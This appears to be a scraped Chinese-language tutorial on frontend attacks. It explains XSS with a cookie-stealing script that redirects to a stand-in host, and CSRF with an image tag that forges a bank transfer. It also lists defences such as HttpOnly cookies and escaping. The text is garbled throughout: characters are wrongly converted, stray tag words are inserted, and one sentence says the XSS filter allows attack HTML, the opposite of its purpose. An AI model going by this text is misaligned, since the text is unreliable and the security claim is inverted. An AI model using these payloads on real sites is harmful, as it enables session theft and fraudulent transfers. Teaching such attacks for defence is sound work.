網絡攻擊技術

與前端相關的網絡攻擊技術一般包括XSS與CSRF.前端

XSS 跨站腳本攻擊(Cross-Site Scripting, XSS)

  • 能夠將代碼注入到用戶瀏覽的網頁上
這種代碼包括 HTML 和 JavaScript。
複製代碼
* 攻擊者在網站上發佈內容
    <script>location.href="//domain.com/?c=" + document.cookie</script>
    內容被渲染成:<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
    用戶瀏覽該頁面將會跳轉到domain.com同時攜帶當前組用於的cookie,加入該網站以cookie保存用戶的登陸信息,則有可能在這裏被泄露。
複製代碼
  • 防範手段
* 設置Cookie爲HttpOnly
    設置了Cookie爲httpOnly,可防止js腳本的調用,就沒法經過dosument.cookie獲取cookie了。
* 過濾特殊字符
    將<轉義爲&lt;,將>轉義爲&gt;,從而避免HTML和JS腳本的運行,
* 對於富文本編輯器,由於容許用戶輸入HTML代碼,就不能簡單過濾以上字符了。所以他經過XSS filter,經過創建標籤白名單和標籤黑名單從而容許攻擊性的HTML代碼輸入。
    如form和script標籤都會被轉義,p和h標籤被保留。
複製代碼

CSRF 跨站請求僞造(Cross-site request forgery,CSRF)

跨站請求僞造(Cross-site request forgery,CSRF),是攻擊者經過一些技術手段欺騙用戶的瀏覽器去訪問一個本身曾經認證過的網站並執行一些操做(如發郵件,發消息,甚至財產操做如轉帳和購買商品)。因爲瀏覽器曾經認證過,因此被訪問的網站會認爲是真正的用戶操做而去執行。瀏覽器

假如一家銀行用以執行轉帳操做的 URL 地址以下:
withdraw?account=AccoutName&amount=1000&for=PayeeName。
那麼,一個惡意攻擊者能夠在另外一個網站上放置以下代碼:
<img src="withdraw?account=Alice&amount=1000&for=Badman">。
若是有帳戶名爲 Alice 的用戶訪問了惡意站點,而她以前剛訪問過銀行不久,登陸信息還沒有過時,那麼她就會損失 1000 美圓
複製代碼

二者區別

XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶瀏覽器的信任。bash

相關文章
相關標籤/搜索